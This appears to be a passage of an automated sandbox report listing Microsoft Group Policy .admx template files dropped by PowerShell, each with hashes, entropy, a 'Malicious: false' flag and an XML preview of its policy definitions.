Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsconnectionmanager" namespace="Microsoft.Policies.WindowsConnectionManager" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WCM_Category" displayName="$(string.WCM_Category)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="WCM_BlockNonDomain" class="Machine" displayName="$(string.WCM_BlockNonDomain)" explainText="$(string.WCM_BlockNonDomain_Help)" key="Software\Policies\Microsoft\Windows\WcmSvc\GroupPolicy" valueName="fBlockNonDomain">

C:\Users\user\AppData\Local\Temp\file\Resource\WDI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (342), with CRLF line terminators
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	5.03586268427652
Encrypted:	false
SSDEEP:	48:3geDw08gmDCfzofT5p/QJIhGwfl1TNQ4qIhGwsWsC:QeD/mDCLo75JQWGwfl1xQ4zGwsTC
MD5:	DE481E506E591FA0AEC317678434E2BE
SHA1:	63C87F9B933610838C53A08E46C015B518F3C137
SHA-256:	490D113B0AF43D6748A247442C43160ED3E5737F970B983C488CA2F65B0D9239
SHA-512:	82A5DF9E0776E717806999F7A233DE5A7B96815BBB63EDCA57FD263006864365A2848950C1C8EB41F728EE9B276F35B6F8AFCFF7895008B5AB6D555DB57144FF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wdi" namespace="Microsoft.Policies.WindowsDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="WdiDpsScenarioDataSizeLimitPolicy" class="Machine" displayName="$(string.WdiDpsScenarioDataSizeLimitPolicy)" explainText="$(string.WdiDpsScenarioDataSizeLimitPolicyExplain)" presentation="$(presentation.WdiDpsScenarioDataSizeLimitPolicy)" key="SOFTWARE\Policies\Microsoft\Windows\WDI" valueName="DataRetentionBySizeEnabled">.. <parentCategory ref="windows:Troubleshooting" />.. <supportedOn ref="windows:

C:\Users\user\AppData\Local\Temp\file\Resource\WPN.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (308), with CRLF line terminators
Category:	dropped
Size (bytes):	5219
Entropy (8bit):	5.113708334053105
Encrypted:	false
SSDEEP:	96:QeD/mDti+zkovKnK/l5mwxs6SjWxnaSeix5aSh6xJaSDLM3tCxLCXwVDiq1LCXwE:vYDoYUMsqG+nWKmV2wh2XZ
MD5:	09890D13C5B667C093598434E17A541B
SHA1:	390FACEAC52613DACA7E948368EBD6E4773415F5
SHA-256:	13BC88E5DB04BC1EA55AD0AC56F927D70AC643C03DBF20BD6929AC623CFFC8D4
SHA-512:	3D66C2B7CC5D5F44A5A87B86BC1B43BC6AB381C5F9C916B7BD21D476124E828B7AA0A73E1AD868FE32A8DD2F97509A13F2C43BBE5142A4A7B42B5DBBBCFA1CE1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="startmenu" namespace="Microsoft.Policies.Notifications" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="NotificationsCategory" displayName="$(string.NotificationsCategory)">.. <parentCategory ref="windows:StartMenu" />.. </category>.. </categories>.. <policies>.. <policy name="NoTileNotification" class="User" displayName="$(string.NoTileNotification)" explainText="$(string.NoTileNotificationExplain)" key="SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\PushNotifications" valueName="NoTileApp

C:\Users\user\AppData\Local\Temp\file\Resource\WinCal.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1768
Entropy (8bit):	5.1307703578441695
Encrypted:	false
SSDEEP:	48:cgeDw08gmDoRfBofHKnKsQ5pdMko2K/dD4dMko2K/q:LeD/mDoRJovKnKZ5pGkUdMGkUq
MD5:	BEDE56A7AEF6B3DB49AB7D2EB3F2870A
SHA1:	BC18289B953A8AC6C0C8E519F72E6ADEE933FF98
SHA-256:	1FC29FC668043AA03FFEB2D61868D3369479C3CEF2C4725D162CF5344DCBDCFA
SHA-512:	2BDE0A5F1983B08379C262F86AADF8635834674981FAF7FEB3EBC39B12ECE95B21203BE82FDE2FE88F6A662836374A7AC3D6FB8057D5273923259B3AF206A3A6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wincal" namespace="Microsoft.Policies.WindowsCalendar" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WinCal" displayName="$(string.WinCal)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="TurnOffWinCal_1" class="User" displayName="$(string.TurnOffWinCal)" explainText="$(string.TurnOffWinCal_Explain)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Windows" valueName="TurnOffWinCal">.. <parentCategory ref="WinCal" />..

C:\Users\user\AppData\Local\Temp\file\Resource\WinInit.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (339), with CRLF line terminators
Category:	dropped
Size (bytes):	2591
Entropy (8bit):	5.095001702303473
Encrypted:	false
SSDEEP:	48:3geDw08gmDodfwQofHKnKizGKi125HZvaZPhdspZ3OPpwocK1WvCUnDBWS:QeD/mDodvovKnKi6KiQ5HtafdspR+woO
MD5:	1D97313108DC72A1415AB76CDCE3AAAD
SHA1:	FDA86FCDDF823ED8AB0FD2F303D60C0850A6728C
SHA-256:	7BC345911D1659CFC881FE888FF2F58EF3E267832BE5000C8F092AEA5046FF4D
SHA-512:	84E1F511A93C3951B144035D09FC50A162B38F2D79FAECD93509DD1B5ABB7FD6A9330D9AD0AFADDA972163AB89603C41A1F50664AD409D4DAA340FFC2BBC625E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wininit" namespace="Microsoft.Policies.WindowsInitialization" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Shutdown" displayName="$(string.ShutdownOptions)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="ShutdownOptions" displayName="$(string.Shutdown)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="DisableNamedPipeShutdownPolicyDescription" class="Machine" displayName="$(string.DisableN

C:\Users\user\AppData\Local\Temp\file\Resource\WinLogon.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	5790
Entropy (8bit):	4.972348591405385
Encrypted:	false
SSDEEP:	96:QeD/mDoANCovKnKt5jFaKdwAgHgavNdwJgETHFw9Vg2pHoqOpFwp3eqHjarCwHwS:vYoAkw9UUqwivItgpuq28cw65
MD5:	940072E0DE8621F5AB0028A96309221E
SHA1:	D7B95EB8FD29F706A7A0629C5D58685C58FB981F
SHA-256:	89363A97169D216413272E73FD460F4F08F1781C25FB7024EDBE490A59956E82
SHA-512:	515E27891834CBB7D573CEAA5676AB1D0A712A6E8307C7B1F82D413668270421BD13FE63FAD4234415EBF40F10344BD4A94839A60C289980514E30891219BAEB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="winlogon" namespace="Microsoft.Policies.WindowsLogon2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Logon" displayName="$(string.Logon)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DisplayLastLogonInfoDescription" class="Machine" displayName="$(string.DisplayLastLogonInfoDescription)" explainText="$(string.DisplayLastLogonInfoDescription_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\System" valueName="Displa

C:\Users\user\AppData\Local\Temp\file\Resource\Windows.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	17368
Entropy (8bit):	5.029290291714498
Encrypted:	false
SSDEEP:	96:QeDWDoojTH30ep5zbRbWwYmPP7x57GU5hqgCOgIlXe7Gsb3GX5hq/lNalqJhf0nx:YoC39p5pO7G2lZEvjratn2
MD5:	CB213251D2F35503BDDE79039419FE5A
SHA1:	0CB8F2E149394B1D1010A108118E890DC8862E15
SHA-256:	5027AFB2C844CA5FDD6345CCB480755393872394ED5120515C457478F1EDE384
SHA-512:	E34955E9D37A72676B4F467BB8D538CC3F877607C72865A4E76AF97A49FEB5E23666A7400DCDB1DAD66DB55D1286BE27E19F7F2BCE596E18D1DA2DB7B38BB128
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <supersededAdm fileName="system.adm" />.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. Windows 2000 or later, running IIS. Not supported on Windows Server 2003-->.. <definition name="SUPPORTED_AllowWebPrinting" displayName="$(string.SUPPORTED_AllowWebPrinting)">.. <or>.. .. ASSUMPTION: The "running IIS" part of this tag from system.adm cannot really be translated into.. anything

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsAnytimeUpgrade.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1265
Entropy (8bit):	5.2218892146192175
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKt36f/BC0s6fE3+dK9lK69cpKjcpKmwV13Oy1+2hJJo:3geDw08gmDff5CofHKnKoQ50bOyBq
MD5:	9708FB07EEE61927D7EAF4974B77442F
SHA1:	45F1D5333D2426EB0CB3060B1D6640E0B5BE55CC
SHA-256:	FCB3C711AF36DA76A9FE14271C0F1C74A742E9DBD212F3422AA8306D2607AF4D
SHA-512:	813034E70790A54B4BB1CAF5EA9FFDACC1E25E073AA61757BB01BBCDAB7308B2EC9D584DFFB39D6A26B190BA846E8A7EB3D8621D35E84DD72425F4CB4C0250A1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="WAU" namespace="Microsoft.Policies.Explorer.WAU" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WAU" displayName="$(string.WAU)" explainText="$(string.WAU_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="Disabled" class="Both" displayName="$(string.DisableWAU)" explainText="$(string.DisableWAU_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\WAU" valueName="Disabled">.. <parentCategory ref="WAU" /

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsBackup.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (308), with CRLF line terminators
Category:	dropped
Size (bytes):	3791
Entropy (8bit):	5.1335381706132655
Encrypted:	false
SSDEEP:	96:QeDIDoWfILoG5/KnKxKCC5JDzt2d4DzR2djDz+2dFDzU2dFDzq2q:6obTCzX+j9i
MD5:	91D15F3A3FE1E068689FF69A1AAC4286
SHA1:	F6A82D7FB906E2E99AE82E6A084DDF871F7D619F
SHA-256:	6A00E232AE6537F0FF03303F17EF05624CA6F6D712D880E5E4896F21B38225E3
SHA-512:	451E6ECDC214883F2154F2B2A55267992E137343331E802D5D9B8F27FD90F05095C1D4E4082BAB7E6CAE10514C358A9ABD81910EBDE8C95C5FDEC8D477F25120
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsbackup" namespace="Microsoft.Policies.WindowsBackup" />.. <using prefix="backup" namespace="Microsoft.Policies.Backup" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Backup" displayName="$(string.Backup)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="BackupServer" displayName="$(string.BackupServer)">.. <parentCategory ref="backup:Backup" />.. </category>.. </categories>

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsColorSystem.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (301), with CRLF line terminators
Category:	dropped
Size (bytes):	2024
Entropy (8bit):	5.1365975105304695
Encrypted:	false
SSDEEP:	48:3geDw08gmDoOfhofHKnKGQ56raghdtmEraghq:QeD/mDoOpovKnKf56rxdtBrxq
MD5:	0C53DE578479D32A2DDC7E71675E5100
SHA1:	62FEDE558C13FFA36DEA3980CD033DE7C942E0B1
SHA-256:	8A0722689330B236CEA9B110069EFD1801DC601BD563BF907A4C9198D47D2EB2
SHA-512:	B17692B58D1A6B8AAF0B66DA8FACCDA201FB908C95ADAF7DB3819D08F797CD4F8E5CC87C73198E3B6B235D828AF63236A9AB118237C594DCF5B33AA180799D7C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowscolorsystem" namespace="Microsoft.Policies.WindowsColorSystem" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WindowsColorSystem" displayName="$(string.WindowsColorSystem)" explainText="$(string.WindowsColorSystem_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="ProhibitChangingInstalledProfileList_1" class="User" displayName="$(string.ProhibitChangingInstalledProfileList)" explainText="$(string.ProhibitChangingInstal

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsConnectNow.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4085
Entropy (8bit):	4.927626949665861
Encrypted:	false
SSDEEP:	96:QeD/mDoKlovKnKE5Vovd8ovdwct+GwpK+j1G+Gj+7Q+ElpaQ7C:vYoAZMT1yp5ZtGC7zElpX7C
MD5:	C6546D47AD8528615DD27200E4ECA504
SHA1:	E838A1C50FD5CD9F9D052957FF0E43D12DC7C687
SHA-256:	EAB71398179A95D88C8CE78BA6A0DB50D103991EEF21C299DC654E078DB1CA09
SHA-512:	4D4FC7EEF11317AE5E5E79FDBF957AB8B7828216335B12A1CAB9C15165462E3FC0FF05F1C8B5568FB5736B65FB2452F349DE47D2BFBF34C3E2C1E02913F8EE67
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsconnectnow" namespace="Microsoft.Policies.WindowsConnectNow" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WCN_Category" displayName="$(string.WCN_Category)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="WCN_DisableWcnUi_1" class="User" displayName="$(string.WCN_DisableWcnUi)" explainText="$(string.WCN_DisableWcnUi_Help)" key="Software\Policies\Microsoft\Windows\WCN\UI" valueName="DisableWcnUi">.. <parentCategory ref="WCN_Cat

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsDefender.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (548), with CRLF line terminators
Category:	dropped
Size (bytes):	73944
Entropy (8bit):	4.797360535842272
Encrypted:	false
SSDEEP:	1536:FyNOZn/Fu7YM0jMaKLB+wdkw92JV80oNVHjt95cF600a0Q0q815OV2FBjIKZUGHS:DM0jp
MD5:	BAD0E923C3C26AC57DAF18084532A219
SHA1:	EBC832535EEA6EE1FF57CFB646FE71FEADA43C9F
SHA-256:	5E7FA17AF12F5ACD1F854B9CBD014FFBA5548538101F457581F57DE525FD1D8F
SHA-512:	2D5AEE07E47651D878E15D814600D68EAB87FA2008C9E5F812ED9F17F3A720E5B030E0A8C89F05B9BAE8F66AD260BFF143B1DDBE64F2EF601EDA26670D1934A8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2013 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windef" namespace="Microsoft.Policies.WindowsDefender" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AntiSpyware" displayName="$(string.AntiSpyware)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="Exclusions" displayName="$(string.Exclusions)">.. <parentCategory ref="AntiSpyware" />.. </category>.. <category name="NetworkRealtimeInspection" displayName="$(string.NetworkRealtimeInspection)">..

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsExplorer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (342), with CRLF line terminators
Category:	dropped
Size (bytes):	42416
Entropy (8bit):	5.0503721529761485
Encrypted:	false
SSDEEP:	384:2rOdBD3T37XJXn3PorppXJMvrmQKinkESJwjoJeFNa5KDYmckjMcm2qirS795Yfo:2yZArjXOPF5Q8pVPbQaKwTiFMk1R1XT
MD5:	9F3C2D688FCBDB7B4CDA9B645B6E3D5F
SHA1:	9F3BA194604E875D3C7AAF7268C264BBAA1A773E
SHA-256:	08639812EADB3F6C0ACE4D58CA78C1E613BFE88747E1C9582F0B2DA01B29480C
SHA-512:	6A046AC443757D56EC8875D14A1FE0F38E8B0BB7759219611B3E174542E9CD6D950E30A7633E7AC38AC51BEB9C908EE4DCFBB1B2193D41F5300F67A275DAFFFC
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsexplorer" namespace="Microsoft.Policies.WindowsExplorer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="inetres" namespace="Microsoft.Policies.InternetExplorer" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Comdlg" displayName="$(string.Comdlg)">.. <parentCategory ref="windows:WindowsExplorer" />.. </category>.. </categories>.. <policies>.. <policy name="NoBackButton" class="User" displayName="$(string.NoBackButton)" explainText="$(string.NoBackButton_Help)" key="Software\Microsoft\Windows\CurrentVersion\Polic

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsFileProtection.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3000
Entropy (8bit):	5.1079019945086275
Encrypted:	false
SSDEEP:	48:3geDw08gmDoflf8ofHKnKI25WFJyZYqZwiH1hEJyZYqZwAv1APJyZYqZwjKe1Fv0:QeD/mDoflEovKnKN5sJAFZwiH1iJAFZr
MD5:	C86782A0615825D31BC1BCF2C7DF90FC
SHA1:	8FED14A858134BB705E5C2C50C021DEC1144F5B8
SHA-256:	F5CA74E4C97DBD1F9EA70BA7660682F0F2D47BC9EB413C2413E36C21DB3F7C75
SHA-512:	55BDE3A18179C439E1AB7A6FF24EAAF838576F666BA2FA5DFD543714FDC794E339A69491B8F8BEB88423174CD0ED42626824A6064FD5981799EB395E27E6DB04
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsfileprotection" namespace="Microsoft.Policies.WindowsFileProtection" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WFP" displayName="$(string.WFP)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="WFPDllCacheDir" class="Machine" displayName="$(string.WFPDllCacheDir)" explainText="$(string.WFPDllCacheDir_Help)" presentation="$(presentation.WFPDllCacheDir)" key="Software\Policies\Microsoft\Windows NT\Windows File Protection">.. <pa

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsFirewall.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (343), with CRLF line terminators
Category:	dropped
Size (bytes):	27019
Entropy (8bit):	4.983816375333454
Encrypted:	false
SSDEEP:	768:/U4HspAV+1hWOsAUAlAsKwUA7+rhZZfA0AsAC:/U4HeAV+1hWOsAUAlAsKDA7+rhZZfA0d
MD5:	BFA8E91789D4CD0028F55E5C4E9F09F0
SHA1:	B5ADAB8844D53AC0352ABAF1301C03F387C551D9
SHA-256:	AE1C63E64A7FEE683E87A4516F8ADA593E508FA233929026A0682D0986B0612C
SHA-512:	20247BDDB2A10EC7C1142368DB94F21A824AFBCBC06BE8A784D375ABC60F348C097FDBBC7251CBCA4BA8FA601F0A607C8C5043B0775BE4E4FE882CA89B835BD9
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsfirewall" namespace="Microsoft.Policies.WindowsFirewall" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="netcon" namespace="Microsoft.Policies.NetworkConnections" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WF_Category" displayName="$(string.WF_Category)">.. <parentCategory ref="netcon:NetworkConnections" />.. </category>.. <category name="WF_Profile_Domain" displayName="$(string.WF_Profile_Domain)">.. <parentCategory ref="WF_Category" />.. </category>.. <category name="WF_Profile_Standard" displayNa

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsMail.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2767
Entropy (8bit):	5.114918949253196
Encrypted:	false
SSDEEP:	48:3geDw08gmDojfaofHKnKCZQ521tbbNzf1tbbNBjJ71vbbhdBgVJ71vbbhq:QeD/mDojyovKnKn521FNb1FNH1xd21xq
MD5:	1E3F68D519905A8409EEA16AE1C37EA1
SHA1:	B4F052D190902EFACBBD87F059A6EE35CC29AA61
SHA-256:	570602768CB93B7B0B6FAD45C0C53286B8052BDAAB9BDD3B0ACBF1EDD6F97D35
SHA-512:	3AE2CF5C45E6B5A94AB4A7BB35D7FD79B1D911A5E172FF68741644690EAF2D44E107E428D3309883547AEB850EB8103095E21D66C3B0AB16D805E2F33048E3B3
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsmail" namespace="Microsoft.Policies.WindowsMail" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WindowsMail" displayName="$(string.WindowsMail)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="TurnOffWindowsMail_1" class="User" displayName="$(string.TurnOffWindowsMail)" explainText="$(string.WindowsMail_help)" key="SOFTWARE\Policies\Microsoft\Windows Mail" valueName="ManualLaunchAllowed">.. <parentCategory ref="Windows

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsMediaDRM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	5.169882003430882
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtPg6f+qh0s6fE3+dK9lKG/cpKjcpZsqlahF+2hJJo:3geDw08gmDoVfzofHKnKQQ57sqlahxq
MD5:	C4824CC6DBA3E3663AC7A2584491FDBA
SHA1:	FCFF700D8302A9FAC19F7127B73394FE54A17426
